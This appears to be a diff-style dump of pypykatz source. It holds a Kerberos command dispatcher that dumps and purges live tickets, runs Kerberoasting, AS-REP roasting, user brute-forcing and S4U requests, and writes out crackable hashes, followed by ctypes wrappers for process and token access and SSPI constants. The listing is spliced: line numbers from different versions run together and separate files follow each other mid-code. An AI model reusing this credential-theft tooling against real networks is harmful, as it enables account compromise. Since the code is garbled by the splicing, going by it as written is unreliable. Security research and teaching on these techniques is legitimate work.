199 elif args.live_kerberos_module == 'purge':
200 luid = None
201 if args.luid is not None:
202 luid = args.luid
203 if luid.startswith('0x') is True:
204 luid = int(luid, 16)
205 luid=int(luid)
206
207 kl.purge(luid)
208 print('Tickets purged!')
209
210 elif args.live_kerberos_module == 'sessions':
211 kl.list_sessions()
212
213 elif args.live_kerberos_module == 'triage':
214 if args.luid is None:
215 ticketinfos = kl.get_all_ticketinfo()
216 else:
217 luid = KerberosCMDHelper.luid_converter(args.luid)
218 ticketinfos = kl.get_ticketinfo(luid)
219
220 table = [['LUID', 'ServerName', 'RealmName', 'StartTime', 'EndTime', 'RenewTime', 'EncryptionType', 'TicketFlags']]
221 for luid in ticketinfos:
222 if len(ticketinfos[luid]) == 0:
223 continue
224
225 for ticket in ticketinfos[luid]:
226 table.append([
227 hex(luid),
228 ticket['ServerName'],
229 ticket['RealmName'],
230 filetime_to_dt(ticket['StartTime']).isoformat(),
231 filetime_to_dt(ticket['EndTime']).isoformat(),
232 filetime_to_dt(ticket['RenewTime']).isoformat(),
233 str(ticket['EncryptionType']),
234 str(ticket['TicketFlags'])
235 ])
236
237 print_table(table)
238
239
240 elif args.live_kerberos_module == 'dump':
241 if args.luid is None:
242 tickets = kl.export_all_ticketdata()
243 else:
244 luid = KerberosCMDHelper.luid_converter(args.luid)
245 tickets = kl.export_ticketdata(luid)
246
247 if args.outdir is not None:
248 for luid in tickets:
249 for ticket in tickets[luid]:
250 with open(args.outdir + 'ticket_%s.kirbi' % 'a', 'wb') as f:
251 f.write(ticket['Ticket'])
252 else:
253 for luid in tickets:
254 if len(tickets[luid]) == 0:
108255 continue
109 results.append(TGSTicket2hashcat(ticket))
110
111 elif args.cmd == 'asreproast':
112 dcip = args.dc_ip
113 if args.dc_ip is None:
114 dcip = machine.get_domain()
115 ks = KerberosSocket( dcip )
116 ar = APREPRoast(ks)
117 results = ar.run(targets)
118
119
120 if args.out_file:
121 with open(args.out_file, 'w') as f:
122 for thash in results:
123 f.write(thash + '\r\n')
124
125 else:
126 for thash in results:
127 print(thash)
128
129 for err in errors:
130 print('Failed to get ticket for %s. Reason: %s' % (err[0], err[1]))
131
132 logging.info('SSPI based Kerberoast complete')
133
256
257 print('LUID @%s' % hex(luid))
258 for ticket in tickets[luid]:
259 print_kirbi(ticket['Ticket'])
260
261
134262 def run(self, args):
135 raise NotImplementedError('Platform independent kerberos not implemented!')
263 #raise NotImplementedError('Platform independent kerberos not implemented!')
264
265 if args.kerberos_module == 'tgt':
266 kirbi, filename, err = asyncio.run(get_TGT(args.url))
267 if err is not None:
268 print('[KERBEROS][TGT] Failed to fetch TGT! Reason: %s' % err)
269 return
270
271 if args.out_file is not None:
272 with open(args.out_file, 'wb') as f:
273 f.write(kirbi.dump())
274 else:
275 print_kirbi(kirbi)
276
277 elif args.kerberos_module == 'tgs':
278 tgs, encTGSRepPart, key, err = asyncio.run(get_TGS(args.url, args.spn))
279 if err is not None:
280 print('[KERBEROS][TGS] Failed to fetch TGS! Reason: %s' % err)
281 return
282
283
284 if args.out_file is not None:
285 pass
286 else:
287 print(tgs)
288 print(encTGSRepPart)
289 print(key)
290
291 elif args.kerberos_module == 'brute':
292 target_spns = generate_targets(args.targets, args.domain)
293 _, err = asyncio.run(brute(args.address, target_spns, args.out_file, args.show_negatives))
294 if err is not None:
295 print('[KERBEROS][BRUTE] Error while enumerating users! Reason: %s' % geterr(err))
296 return
297
298 elif args.kerberos_module == 'asreproast':
299 target_spns = generate_targets(args.targets, args.domain, to_spn = False)
300 _, err = asyncio.run(asreproast(args.address, target_spns, out_file = args.out_file, etype = args.etype))
301 if err is not None:
302 print('[KERBEROS][ASREPROAST] Error while enumerating users! Reason: %s' % geterr(err))
303 return
304
305 elif args.kerberos_module == 'spnroast':
306 target_spns = generate_targets(args.targets, args.domain, to_spn = True)
307 _, err = asyncio.run(spnroast(args.url, target_spns, out_file = args.out_file, etype = args.etype))
308 if err is not None:
309 print('[KERBEROS][SPNROAST] Error while enumerating users! Reason: %s' % geterr(err))
310 return
311
312 elif args.kerberos_module == 's4u':
313 tgs, encTGSRepPart, key, err = asyncio.run(s4u(args.url, args.spn, args.targetuser, out_file = None))
314 if err is not None:
315 print('[KERBEROS][S4U] Error while enumerating users! Reason: %s' % geterr(err))
316 return
317
318 elif args.kerberos_module == 'keytab':
319 process_keytab(args.keytabfile)
320
321 elif args.kerberos_module == 'ccache':
322 if args.ccache_module == 'list':
323 list_ccache(args.ccachefile)
324 elif args.ccache_module == 'roast':
325 roast_ccache(args.ccachefile, args.out_file)
326 elif args.ccache_module == 'del':
327 del_ccache(args.ccachefile, args.index)
328 elif args.ccache_module == 'exportkirbi':
329 ccache_to_kirbi(args.ccachefile, args.kirbidir)
330 elif args.ccache_module == 'loadkirbi':
331 kirbi_to_ccache(args.ccachefile, args.kirbi)
332
333 elif args.kerberos_module == 'kirbi':
334 if args.kirbi_module == 'parse':
335 parse_kirbi(args.kirbifile)
0 from ctypes import WinError, c_int, cast, c_int64, sizeof, windll, byref, Structure, c_ubyte, c_int16, c_int32, c_void_p, c_uint16, c_uint32, POINTER, c_longlong
1
2 BYTE = c_ubyte
3 UCHAR = BYTE
4 SHORT = c_int16
5 USHORT = c_uint16
6 LONG = c_int32
7 LPVOID = c_void_p
8 PVOID = LPVOID
9 PPVOID = POINTER(PVOID)
10 DWORD = c_uint32
11 HANDLE = LPVOID
12 PHANDLE = POINTER(HANDLE)
13 LPHANDLE = PHANDLE
14 NTSTATUS = LONG
15 PNTSTATUS = POINTER(NTSTATUS)
16 USHORT = c_uint16
17 ULONG = c_uint32
18 PULONG = POINTER(ULONG)
19 LONGLONG = c_int64
20
21 LPDWORD = POINTER(DWORD)
22 LPULONG = POINTER(ULONG)
23 LPLONG = POINTER(LONG)
24 PDWORD = LPDWORD
25
26 LARGE_INTEGER = c_longlong
27 PLARGE_INTEGER = POINTER(LARGE_INTEGER)
28
29 TOKEN_INFORMATION_CLASS = c_int
30
31 ERROR_INSUFFICIENT_BUFFER = 122
32
33 # Standard access rights
34 DELETE = 0x00010000
35 READ_CONTROL = 0x00020000
36 WRITE_DAC = 0x00040000
37 WRITE_OWNER = 0x00080000
38 SYNCHRONIZE = 0x00100000
39 STANDARD_RIGHTS_REQUIRED = 0x000F0000
40 STANDARD_RIGHTS_READ = READ_CONTROL
41 STANDARD_RIGHTS_WRITE = READ_CONTROL
42 STANDARD_RIGHTS_EXECUTE = READ_CONTROL
43 STANDARD_RIGHTS_ALL = 0x001F0000
44 SPECIFIC_RIGHTS_ALL = 0x0000FFFF
45
46 # Token access rights
47 TOKEN_ASSIGN_PRIMARY = 0x0001
48 TOKEN_DUPLICATE = 0x0002
49 TOKEN_IMPERSONATE = 0x0004
50 TOKEN_QUERY = 0x0008
51 TOKEN_QUERY_SOURCE = 0x0010
52 TOKEN_ADJUST_PRIVILEGES = 0x0020
53 TOKEN_ADJUST_GROUPS = 0x0040
54 TOKEN_ADJUST_DEFAULT = 0x0080
55 TOKEN_ADJUST_SESSIONID = 0x0100
56 TOKEN_READ = (STANDARD_RIGHTS_READ | TOKEN_QUERY)
57 TOKEN_ALL_ACCESS = (STANDARD_RIGHTS_REQUIRED | TOKEN_ASSIGN_PRIMARY |
58 TOKEN_DUPLICATE | TOKEN_IMPERSONATE | TOKEN_QUERY | TOKEN_QUERY_SOURCE |
59 TOKEN_ADJUST_PRIVILEGES | TOKEN_ADJUST_GROUPS | TOKEN_ADJUST_DEFAULT |
60 TOKEN_ADJUST_SESSIONID)
61
62 # Invalid handle value is -1 casted to void pointer.
63 try:
64 INVALID_HANDLE_VALUE = c_void_p(-1).value #-1 #0xFFFFFFFF
65 except TypeError:
66 if sizeof(c_void_p) == 4:
67 INVALID_HANDLE_VALUE = 0xFFFFFFFF
68 elif sizeof(c_void_p) == 8:
69 INVALID_HANDLE_VALUE = 0xFFFFFFFFFFFFFFFF
70 else:
71 raise
72
73 SecurityAnonymous = 0
74 SecurityIdentification = 1
75 SecurityImpersonation = 2
76 SecurityDelegation = 3
77
78 SECURITY_IMPERSONATION_LEVEL = c_int
79 PSECURITY_IMPERSONATION_LEVEL = POINTER(SECURITY_IMPERSONATION_LEVEL)
80
81 TOKEN_TYPE = c_int
82 PTOKEN_TYPE = POINTER(TOKEN_TYPE)
83
84 class LUID(Structure):
85 _fields_ = [
86 ("LowPart", DWORD),
87 ("HighPart", LONG),
88 ]
89
90 def to_int(self):
91 return LUID.luid_to_int(self)
92
93 @staticmethod
94 def luid_to_int(luid):
95 return (luid.HighPart << 32) + luid.LowPart
96
97 @staticmethod
98 def from_int(i):
99 luid = LUID()
100 luid.HighPart = i >> 32
101 luid.LowPart = i & 0xFFFFFFFF
102 return luid
103
104 PLUID = POINTER(LUID)
105
106 class TOKEN_STATISTICS(Structure):
107 _fields_ = [
108 ("TokenId", LUID),
109 ("AuthenticationId", LUID),
110 ("ExpirationTime", LONGLONG), # LARGE_INTEGER
111 ("TokenType", TOKEN_TYPE),
112 ("ImpersonationLevel", SECURITY_IMPERSONATION_LEVEL),
113 ("DynamicCharged", DWORD),
114 ("DynamicAvailable", DWORD),
115 ("GroupCount", DWORD),
116 ("PrivilegeCount", DWORD),
117 ("ModifiedId", LUID),
118 ]
119
120 def to_dict(self):
121 return {
122 "TokenId": self.TokenId.to_int(),
123 "AuthenticationId": self.AuthenticationId.to_int(),
124 "ExpirationTime": self.ExpirationTime,
125 "TokenType": self.TokenType,
126 "ImpersonationLevel": self.ImpersonationLevel,
127 "DynamicCharged": self.DynamicCharged,
128 "DynamicAvailable": self.DynamicAvailable,
129 "GroupCount": self.GroupCount,
130 "PrivilegeCount": self.PrivilegeCount,
131 "ModifiedId": self.ModifiedId.to_int(),
132 }
133 PTOKEN_STATISTICS = POINTER(TOKEN_STATISTICS)
134
135 def RaiseIfZero(result, func = None, arguments = ()):
136 """
137 Error checking for most Win32 API calls.
138
139 The function is assumed to return an integer, which is C{0} on error.
140 In that case the C{WindowsError} exception is raised.
141 """
142 if not result:
143 raise WinError()
144 return result
145
146 # BOOL WINAPI OpenProcessToken(
147 # __in HANDLE ProcessHANDLE,
148 # __in DWORD DesiredAccess,
149 # __out PHANDLE TokenHandle
150 # );
151 def OpenProcessToken(ProcessHANDLE, DesiredAccess = TOKEN_ALL_ACCESS):
152 _OpenProcessToken = windll.advapi32.OpenProcessToken
153 _OpenProcessToken.argtypes = [HANDLE, DWORD, PHANDLE]
154 _OpenProcessToken.restype = bool
155 _OpenProcessToken.errcheck = RaiseIfZero
156
157 NewTokenHandle = HANDLE(INVALID_HANDLE_VALUE)
158 _OpenProcessToken(ProcessHANDLE, DesiredAccess, byref(NewTokenHandle))
159 return NewTokenHandle
160
161
162 def GetTokenInformation_tokenstatistics(hTokenHandle):
163 """
164 The original function wasn't working. this one returns the SID for the token
165 """
166 TokenStatistics = 10
167
168 _GetTokenInformation = windll.advapi32.GetTokenInformation
169 _GetTokenInformation.argtypes = [HANDLE, TOKEN_INFORMATION_CLASS, LPVOID, DWORD, PDWORD]
170 _GetTokenInformation.restype = bool
171 _GetTokenInformation.errcheck = RaiseIfZero
172
173 ReturnLength = DWORD(0)
174 try:
175 #getting the correct memory allocation size
176 _GetTokenInformation(hTokenHandle, TokenStatistics, None, ReturnLength, byref(ReturnLength))
177 except Exception as e:
178 pass
179
180 TokenInformationLength = ReturnLength.value
181 ReturnLength = DWORD(0)
182 ti = (BYTE * TokenInformationLength)()
183 _GetTokenInformation(hTokenHandle, TokenStatistics, byref(ti), TokenInformationLength, byref(ReturnLength))
184 if ReturnLength.value != TokenInformationLength:
185 raise WinError(ERROR_INSUFFICIENT_BUFFER)
186
187 t = cast(ti, POINTER(TOKEN_STATISTICS)).contents
188 res = t.to_dict()
189
190 return res
0
1 from asn1crypto import core
2 from minikerberos.protocol.asn1_structs import krb5int32, APOptions, Ticket, EncryptedData, AP_REQ
3
4 UNIVERSAL = 0
5 APPLICATION = 1
6 CONTEXT = 2
7 TAG = 'explicit'
8
9 class MechType(core.ObjectIdentifier):
10 _map = {
11 #'': 'SNMPv2-SMI::enterprises.311.2.2.30',
12 '1.3.6.1.4.1.311.2.2.10': 'NTLMSSP - Microsoft NTLM Security Support Provider',
13 '1.2.840.48018.1.2.2' : 'MS KRB5 - Microsoft Kerberos 5',
14 '1.2.840.113554.1.2.2' : 'KRB5 - Kerberos 5',
15 '1.2.840.113554.1.2.2.3': 'KRB5 - Kerberos 5 - User to User',
16 '1.3.6.1.4.1.311.2.2.30': 'NEGOEX - SPNEGO Extended Negotiation Security Mechanism',
17 }
18
19 class InitialContextToken(core.Sequence):
20 class_ = 1
21 tag = 0
22 _fields = [
23 ('thisMech', MechType, {'optional': False}),
24 ('unk_bool', core.Boolean, {'optional': False}),
25 ('innerContextToken', core.Any, {'optional': False}),
26 ]
27
28 _oid_pair = ('thisMech', 'innerContextToken')
29 _oid_specs = {
30 'KRB5 - Kerberos 5': AP_REQ,
31 }
0 from ctypes import WinError, windll, c_uint32, c_void_p, c_int32
1
2 LPVOID = c_void_p
3 DWORD = c_uint32
4 HANDLE = LPVOID
5 BOOL = c_int32
6 NULL = None
7
8 PROCESS_QUERY_INFORMATION = 0x0400
9 PROCESS_VM_READ = 0x0010
10 MAXIMUM_ALLOWED = 33554432
11
12
13 def RaiseIfZero(result, func = None, arguments = ()):
14 """
15 Error checking for most Win32 API calls.
16
17 The function is assumed to return an integer, which is C{0} on error.
18 In that case the C{WindowsError} exception is raised.
19 """
20 if not result:
21 raise WinError()
22 return result
23
24 def CloseHandle(hHandle):
25 _CloseHandle = windll.kernel32.CloseHandle
26 _CloseHandle.argtypes = [HANDLE]
27 _CloseHandle.restype = bool
28 _CloseHandle.errcheck = RaiseIfZero
29 _CloseHandle(hHandle)
30
31 # DWORD WINAPI GetCurrentProcessId(void);
32 def GetCurrentProcessId():
33 _GetCurrentProcessId = windll.kernel32.GetCurrentProcessId
34 _GetCurrentProcessId.argtypes = []
35 _GetCurrentProcessId.restype = DWORD
36 return _GetCurrentProcessId()
37
38 # HANDLE WINAPI OpenProcess(
39 # __in DWORD dwDesiredAccess,
40 # __in BOOL bInheritHandle,
41 # __in DWORD dwProcessId
42 # );
43 def OpenProcess(dwDesiredAccess, bInheritHandle, dwProcessId):
44 _OpenProcess = windll.kernel32.OpenProcess
45 _OpenProcess.argtypes = [DWORD, BOOL, DWORD]
46 _OpenProcess.restype = HANDLE
47
48 hProcess = _OpenProcess(dwDesiredAccess, bool(bInheritHandle), dwProcessId)
49 if hProcess == NULL:
50 raise WinError()
51 return hProcess
0 import enum
1 import io
2 from ctypes import pointer,c_byte, c_wchar, c_char_p, addressof, c_ubyte, c_int16, c_longlong, cast, byref, Structure, c_char, c_buffer, string_at, windll, c_void_p, c_uint32, POINTER, c_wchar_p, WinError, sizeof, c_int32, c_uint16, create_string_buffer
3 from pypykatz.commons.common import hexdump
4
5 BYTE = c_ubyte
6 UCHAR = BYTE
7 SHORT = c_int16
8 USHORT = c_uint16
9 LONG = c_int32
10 LPWSTR = c_wchar_p
11 LPVOID = c_void_p
12 PVOID = LPVOID
13 PPVOID = POINTER(PVOID)
14 DWORD = c_uint32
15 HANDLE = LPVOID
16 PHANDLE = POINTER(HANDLE)
17 LPHANDLE = PHANDLE
18 NTSTATUS = LONG
19 PNTSTATUS = POINTER(NTSTATUS)
20 USHORT = c_uint16
21 ULONG = c_uint32
22 PULONG = POINTER(ULONG)
23 LARGE_INTEGER = c_longlong
24 PLARGE_INTEGER = POINTER(LARGE_INTEGER)
25 LPBYTE = POINTER(BYTE)
26 LPSTR = c_char_p
27 CHAR = c_char
28
29 LSA_OPERATIONAL_MODE = ULONG
30 PLSA_OPERATIONAL_MODE = POINTER(LSA_OPERATIONAL_MODE)
31 PCHAR = LPSTR
32 SEC_CHAR = CHAR
33 PSEC_CHAR = PCHAR
34
35
36 ERROR_SUCCESS = 0
37
38 maxtoken_size = 2880
39
40 class SID:
41 def __init__(self):
42 self.Revision = None
43 self.SubAuthorityCount = None
44 self.IdentifierAuthority = None
45 self.SubAuthority = []
46
47 def __str__(self):
48 t = 'S-1-'
49 if self.IdentifierAuthority < 2**32:
50 t += str(self.IdentifierAuthority)
51 else:
52 t += '0x' + self.IdentifierAuthority.to_bytes(6, 'big').hex().upper().rjust(12, '0')
53 for i in self.SubAuthority:
54 t += '-' + str(i)
55 return t
56
57 @staticmethod
58 def from_ptr(ptr):
59 if ptr == None:
60 return None
61 data = string_at(ptr, 8)
62 buff = io.BytesIO(data)
63 sid = SID()
64 sid.Revision = int.from_bytes(buff.read(1), 'little', signed = False)
65 sid.SubAuthorityCount = int.from_bytes(buff.read(1), 'little', signed = False)
66 sid.IdentifierAuthority = int.from_bytes(buff.read(6), 'big', signed = False)
67
68 data = string_at(ptr+8, sid.SubAuthorityCount*4)
69 buff = io.BytesIO(data)
70 for _ in range(sid.SubAuthorityCount):
71 sid.SubAuthority.append(int.from_bytes(buff.read(4), 'little', signed = False))
72 return sid
73
74 class KERB_PROTOCOL_MESSAGE_TYPE(enum.Enum):
75 KerbDebugRequestMessage = 0
76 KerbQueryTicketCacheMessage = 1
77 KerbChangeMachinePasswordMessage = 2
78 KerbVerifyPacMessage = 3
79 KerbRetrieveTicketMessage = 4
80 KerbUpdateAddressesMessage = 5
81 KerbPurgeTicketCacheMessage = 6
82 KerbChangePasswordMessage = 7
83 KerbRetrieveEncodedTicketMessage = 8
84 KerbDecryptDataMessage = 9
85 KerbAddBindingCacheEntryMessage = 10
86 KerbSetPasswordMessage = 11
87 KerbSetPasswordExMessage = 12
88 KerbVerifyCredentialsMessage = 13
89 KerbQueryTicketCacheExMessage = 14
90 KerbPurgeTicketCacheExMessage = 15
91 KerbRefreshSmartcardCredentialsMessage = 16
92 KerbAddExtraCredentialsMessage = 17
93 KerbQuerySupplementalCredentialsMessage = 18
94 KerbTransferCredentialsMessage = 19
95 KerbQueryTicketCacheEx2Message = 20
96 KerbSubmitTicketMessage = 21
97 KerbAddExtraCredentialsExMessage = 22
98 KerbQueryKdcProxyCacheMessage = 23
99 KerbPurgeKdcProxyCacheMessage = 24
100 KerbQueryTicketCacheEx3Message = 25
101 KerbCleanupMachinePkinitCredsMessage = 26
102 KerbAddBindingCacheEntryExMessage = 27
103 KerbQueryBindingCacheMessage = 28
104 KerbPurgeBindingCacheMessage = 29
105 KerbQueryDomainExtendedPoliciesMessage = 30
106 KerbQueryS4U2ProxyCacheMessage = 31
107
108 # https://apidock.com/ruby/Win32/SSPI/SSPIResult
109 class SEC_E(enum.Enum):
110 OK = 0x00000000
111 CONTINUE_NEEDED = 0x00090312
112 INSUFFICIENT_MEMORY = 0x80090300 #Not enough memory is available to complete this request.
113 INVALID_HANDLE = 0x80090301 #The handle specified is invalid.
114 UNSUPPORTED_FUNCTION = 0x80090302 #The function requested is not supported.
115 TARGET_UNKNOWN = 0x80090303 #The specified target is unknown or unreachable.
116 INTERNAL_ERROR = 0x80090304 #The Local Security Authority (LSA) cannot be contacted.
117 SECPKG_NOT_FOUND = 0x80090305 #The requested security package does not exist.
118 NOT_OWNER = 0x80090306 #The caller is not the owner of the desired credentials.
119 CANNOT_INSTALL = 0x80090307 #The security package failed to initialize and cannot be installed.
120 INVALID_TOKEN = 0x80090308 #The token supplied to the function is invalid.
121 CANNOT_PACK = 0x80090309 #The security package is not able to marshal the logon buffer, so the logon attempt has failed.
122 QOP_NOT_SUPPORTED = 0x8009030A #The per-message quality of protection is not supported by the security package.
123 NO_IMPERSONATION = 0x8009030B #The security context does not allow impersonation of the client.
124 LOGON_DENIED = 0x8009030C #The logon attempt failed.
125 UNKNOWN_CREDENTIALS = 0x8009030D #The credentials supplied to the package were not recognized.
126 NO_CREDENTIALS = 0x8009030E #No credentials are available in the security package.
127 MESSAGE_ALTERED = 0x8009030F #The message or signature supplied for verification has been altered.
128 OUT_OF_SEQUENCE = 0x80090310 #The message supplied for verification is out of sequence.
129 NO_AUTHENTICATING_AUTHORITY = 0x80090311 #No authority could be contacted for authentication.
130 BAD_PKGID = 0x80090316 #The requested security package does not exist.
131 CONTEXT_EXPIRED = 0x80090317 #The context has expired and can no longer be used.
132 INCOMPLETE_MESSAGE = 0x80090318 #The supplied message is incomplete. The signature was not verified.
133 INCOMPLETE_CREDENTIALS = 0x80090320 #The credentials supplied were not complete and could not be verified. The context could not be initialized.
134 BUFFER_TOO_SMALL = 0x80090321 #The buffers supplied to a function was too small.
135 WRONG_PRINCIPAL = 0x80090322 #The target principal name is incorrect.
136 TIME_SKEW = 0x80090324 #The clocks on the client and server machines are skewed.
137 UNTRUSTED_ROOT = 0x80090325 #The certificate chain was issued by an authority that is not trusted.
138 ILLEGAL_MESSAGE = 0x80090326 #The message received was unexpected or badly formatted.
139 CERT_UNKNOWN = 0x80090327 #An unknown error occurred while processing the certificate.
140 CERT_EXPIRED = 0x80090328 # The received certificate has expired.
141 ENCRYPT_FAILURE = 0x80090329 #The specified data could not be encrypted.
142 DECRYPT_FAILURE = 0x80090330 #The specified data could not be decrypted.
143 ALGORITHM_MISMATCH = 0x80090331 #The client and server cannot communicate because they do not possess a common algorithm.
144 SECURITY_QOS_FAILED = 0x80090332 #The security context could not be established due to a failure in the requested quality of service (for example, mutual authentication or delegation).
145 UNFINISHED_CONTEXT_DELETED = 0x80090333 #A security context was deleted before the context was completed. This is considered a logon failure.
146 NO_TGT_REPLY = 0x80090334 #The client is trying to negotiate a context and the server requires user-to-user but did not send a ticket granting ticket (TGT) reply.
147 NO_IP_ADDRESSES = 0x80090335 #Unable to accomplish the requested task because the local machine does not have an IP addresses.
148 WRONG_CREDENTIAL_HANDLE = 0x80090336 #The supplied credential handle does not match the credential associated with the security context.
149 CRYPTO_SYSTEM_INVALID = 0x80090337 #The cryptographic system or checksum function is invalid because a required function is unavailable.
150 MAX_REFERRALS_EXCEEDED = 0x80090338 #The number of maximum ticket referrals has been exceeded.
151 MUST_BE_KDC = 0x80090339 #The local machine must be a Kerberos domain controller (KDC), and it is not.
152 STRONG_CRYPTO_NOT_SUPPORTED = 0x8009033A #The other end of the security negotiation requires strong cryptographics, but it is not supported on the local machine.
153 TOO_MANY_PRINCIPALS = 0x8009033B #The KDC reply contained more than one principal name.
154 NO_PA_DATA = 0x8009033C #Expected to find PA data for a hint of what etype to use, but it was not found.
155 PKINIT_NAME_MISMATCH = 0x8009033D #The client certificate does not contain a valid user principal name (UPN), or does not match the client name in the logon request. Contact your administrator.
156 SMARTCARD_LOGON_REQUIRED = 0x8009033E #Smart card logon is required and was not used.
157 SHUTDOWN_IN_PROGRESS = 0x8009033F #A system shutdown is in progress.
158 KDC_INVALID_REQUEST = 0x80090340 #An invalid request was sent to the KDC.
159 KDC_UNABLE_TO_REFER = 0x80090341 #The KDC was unable to generate a referral for the service requested.
160 KDC_UNKNOWN_ETYPE = 0x80090342 #The encryption type requested is not supported by the KDC.
161 UNSUPPORTED_PREAUTH = 0x80090343 #An unsupported pre-authentication mechanism was presented to the Kerberos package.
162 DELEGATION_REQUIRED = 0x80090345 #The requested operation cannot be completed. The computer must be trusted for delegation, and the current user account must be configured to allow delegation.
163 BAD_BINDINGS = 0x80090346 #Client's supplied Security Support Provider Interface (SSPI) channel bindings were incorrect.
164 MULTIPLE_ACCOUNTS = 0x80090347 #The received certificate was mapped to multiple accounts.
165 NO_KERB_KEY = 0x80090348 #No Kerberos key was found.
166 CERT_WRONG_USAGE = 0x80090349 #The certificate is not valid for the requested usage.
167 DOWNGRADE_DETECTED = 0x80090350 #The system detected a possible attempt to compromise security. Ensure that you can contact the server that authenticated you.
168 SMARTCARD_CERT_REVOKED = 0x80090351 #The smart card certificate used for authentication has been revoked. Contact your system administrator. The event log might contain additional information.
169 ISSUING_CA_UNTRUSTED = 0x80090352 #An untrusted certification authority (CA) was detected while processing the smart card certificate used for authentication. Contact your system administrator.
170 REVOCATION_OFFLINE_C = 0x80090353 #The revocation status of the smart card certificate used for authentication could not be determined. Contact your system administrator.
171 PKINIT_CLIENT_FAILURE = 0x80090354 #The smart card certificate used for authentication was not trusted. Contact your system administrator.
172 SMARTCARD_CERT_EXPIRED = 0x80090355 #The smart card certificate used for authentication has expired. Contact your system administrator.
173 NO_S4U_PROT_SUPPORT = 0x80090356 #The Kerberos subsystem encountered an error. A service for user protocol requests was made against a domain controller that does not support services for users.
174 CROSSREALM_DELEGATION_FAILURE = 0x80090357 #An attempt was made by this server to make a Kerberos-constrained delegation request for a target outside the server's realm. This is not supported and indicates a misconfiguration on this server's allowed-to-delegate-to list. Contact your administrator.
175 REVOCATION_OFFLINE_KDC = 0x80090358 #The revocation status of the domain controller certificate used for smart card authentication could not be determined. The system event log contains additional information. Contact your system administrator.
176 ISSUING_CA_UNTRUSTED_KDC = 0x80090359 #An untrusted CA was detected while processing the domain controller certificate used for authentication. The system event log contains additional information. Contact your system administrator.
177 KDC_CERT_EXPIRED = 0x8009035A #The domain controller certificate used for smart card logon has expired. Contact your system administrator with the contents of your system event log.
178 KDC_CERT_REVOKED = 0x8009035B #The domain controller certificate used for smart card logon has been revoked. Contact your system administrator with the contents of your system event log.
179 INVALID_PARAMETER = 0x8009035D #One or more of the parameters passed to the function were invalid.
180 DELEGATION_POLICY = 0x8009035E #The client policy does not allow credential delegation to the target server.
181 POLICY_NLTM_ONLY = 0x8009035F #The client policy does not allow credential delegation to the target server with NLTM only authentication.
182 RENEGOTIATE = 590625
183 COMPLETE_AND_CONTINUE = 590612
184 COMPLETE_NEEDED = 590611
185 #INCOMPLETE_CREDENTIALS = 590624
186
187 class SECPKG_CRED(enum.IntFlag):
188 AUTOLOGON_RESTRICTED = 0x00000010 #The security does not use default logon credentials or credentials from Credential Manager.
189 #This value is supported only by the Negotiate security package.
190 #Windows Server 2008, Windows Vista, Windows Server 2003 and Windows XP: This value is not supported.
191
192 BOTH = 3 #Validate an incoming credential or use a local credential to prepare an outgoing token. This flag enables both other flags. This flag is not valid with the Digest and Schannel SSPs.
193 INBOUND = 1 #Validate an incoming server credential. Inbound credentials might be validated by using an authenticating authority when InitializeSecurityContext (General) or AcceptSecurityContext (General) is called. If such an authority is not available, the function will fail and return SEC_E_NO_AUTHENTICATING_AUTHORITY. Validation is package specific.
194 OUTBOUND = 2 #Allow a local client credential to prepare an outgoing token.
195 PROCESS_POLICY_ONLY = 0x00000020 #The function processes server policy and returns SEC_E_NO_CREDENTIALS, indicating that the application should prompt for credentials.
196 #This value is supported only by the Negotiate security package.
197 #Windows Server 2008, Windows Vista, Windows Server 2003 and Windows XP: This value is not supported.
198
199
200 class ISC_REQ(enum.IntFlag):
201 DELEGATE = 1
202 MUTUAL_AUTH = 2
203 REPLAY_DETECT = 4
204 SEQUENCE_DETECT = 8
205 CONFIDENTIALITY = 16
206 USE_SESSION_KEY = 32
207 PROMPT_FOR_CREDS = 64
208 USE_SUPPLIED_CREDS = 128
209 ALLOCATE_MEMORY = 256
210 USE_DCE_STYLE = 512
211 DATAGRAM = 1024
212 CONNECTION = 2048
213 CALL_LEVEL = 4096
214 FRAGMENT_SUPPLIED = 8192
215 EXTENDED_ERROR = 16384
216 STREAM = 32768
217 INTEGRITY = 65536
218 IDENTIFY = 131072
219 NULL_SESSION = 262144
220 MANUAL_CRED_VALIDATION = 524288
221 RESERVED1 = 1048576
222 FRAGMENT_TO_FIT = 2097152
223 HTTP = 0x10000000
224
225 class SECPKG_ATTR(enum.Enum):
226 SESSION_KEY = 9
227 C_ACCESS_TOKEN = 0x80000012 #The pBuffer parameter contains a pointer to a SecPkgContext_AccessToken structure that specifies the access token for the current security context. This attribute is supported only on the server.
228 C_FULL_ACCESS_TOKEN = 0x80000082 #The pBuffer parameter contains a pointer to a SecPkgContext_AccessToken structure that specifies the access token for the current security context. This attribute is supported only on the server.
229 CERT_TRUST_STATUS = 0x80000084 #The pBuffer parameter contains a pointer to a CERT_TRUST_STATUS structure that specifies trust information about the certificate.This attribute is supported only on the client.
230 CREDS = 0x80000080 # The pBuffer parameter contains a pointer to a SecPkgContext_ClientCreds structure that specifies client credentials. The client credentials can be either user name and password or user name and smart card PIN. This attribute is supported only on the server.
231 CREDS_2 = 0x80000086 #The pBuffer parameter contains a pointer to a SecPkgContext_ClientCreds structure that specifies client credentials. If the client credential is user name and password, the buffer is a packed KERB_INTERACTIVE_LOGON structure. If the client credential is user name and smart card PIN, the buffer is a packed KERB_CERTIFICATE_LOGON structure. If the client credential is an online identity credential, the buffer is a marshaled SEC_WINNT_AUTH_IDENTITY_EX2 structure. This attribute is supported only on the CredSSP server. Windows Server 2008 R2, Windows 7, Windows Server 2008, Windows Vista, Windows Server 2003 and Windows XP: This value is not supported.
232 NEGOTIATION_PACKAGE = 0x80000081 #The pBuffer parameter contains a pointer to a SecPkgContext_PackageInfo structure that specifies the name of the authentication package negotiated by the Microsoft Negotiate provider.
233 PACKAGE_INFO = 10 #The pBuffer parameter contains a pointer to a SecPkgContext_PackageInfostructure.Returns information on the SSP in use.
234 SERVER_AUTH_FLAGS = 0x80000083 #The pBuffer parameter contains a pointer to a SecPkgContext_Flags structure that specifies information about the flags in the current security context. This attribute is supported only on the client.
235 SIZES = 0x0 #The pBuffer parameter contains a pointer to a SecPkgContext_Sizes structure. Queries the sizes of the structures used in the per-message functions and authentication exchanges.
236 SUBJECT_SECURITY_ATTRIBUTES = 124 # The pBuffer parameter contains a pointer to a SecPkgContext_SubjectAttributes structure. This value returns information about the security attributes for the connection. This value is supported only on the CredSSP server. Windows Server 2008, Windows Vista, Windows Server 2003 and Windows XP: This value is not supported.
237 ENDPOINT_BINDINGS = 26
238
239 # https://docs.microsoft.com/en-us/windows/desktop/api/sspi/ns-sspi-_secbuffer
240 class SECBUFFER_TYPE(enum.Enum):
